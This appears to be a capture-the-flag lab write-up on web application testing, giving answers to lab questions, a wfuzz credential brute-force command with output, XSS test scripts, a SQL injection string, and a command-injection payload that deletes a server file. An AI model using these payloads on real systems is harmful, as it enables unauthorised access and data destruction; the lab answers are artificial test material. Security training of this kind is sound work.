Authentication can be tested in the following ways:
Brute Forcing/Weak Credentials
Session Management
What is the admin username?
Answer: admin
What is the admin password?
Answer: admin
What is the name of the cookie that can be manipulated?
Answer: session
What is the username of a logged on user?
Answer: bryce
wfuzz -u http://10.10.215.90/users/login.php -d "username=FUZZ&password=FUZZ" --hs "invalid" -t 20 -w /usr/share/seclists/Usernames/Names/names.txt
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.215.90/users/login.php
Total requests: 10177
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001214: 303 0 L 0 W 0 Ch "bob - bob"
000001389: 303 0 L 0 W 0 Ch "bryce - bryce"
[..snip..]
What is the corresponding password to the username?
Answer: bryce
XSS
Types of XSS:
Persistent/Non-Reflected - Here the XSS payload has been stored in the database, and once the server/framework passes the data from the database into the webpage, the script/payload is executed -** Non-Persistent/Reflected** - Here the XSS payload is usually crafted using a malicious link. It is not stored.
Test for XSS on the search bar - <script>alert(1)</script> (Non Persistent)
Test for XSS on the guestbook page - <script>alert(1)</script> (Persistent)
Test for XSS behind the flash form on the home page
Injection
Common injection attacks include:
SQL injection
Command Injection
Perform command injection on the check password field
Entering a simple payload gives the error:
The command "grep ^whomai$ /etc/dictionaries-common/words" was used to check if the password was in the dictionary.
whomai is a Bad Password
Use the payload hi| rm -f to remove the /etc/dictionaries-common/words file from the server.
This will disrupt the working of passcheck.php
Check for SQLi on the application
Register a user with username as ' or '1=1
Misc & Logic Flaws
Parameter Manipulation
In sample.php - http://10.10.116.46/users/sample.php?userid=2, change the userid parameter
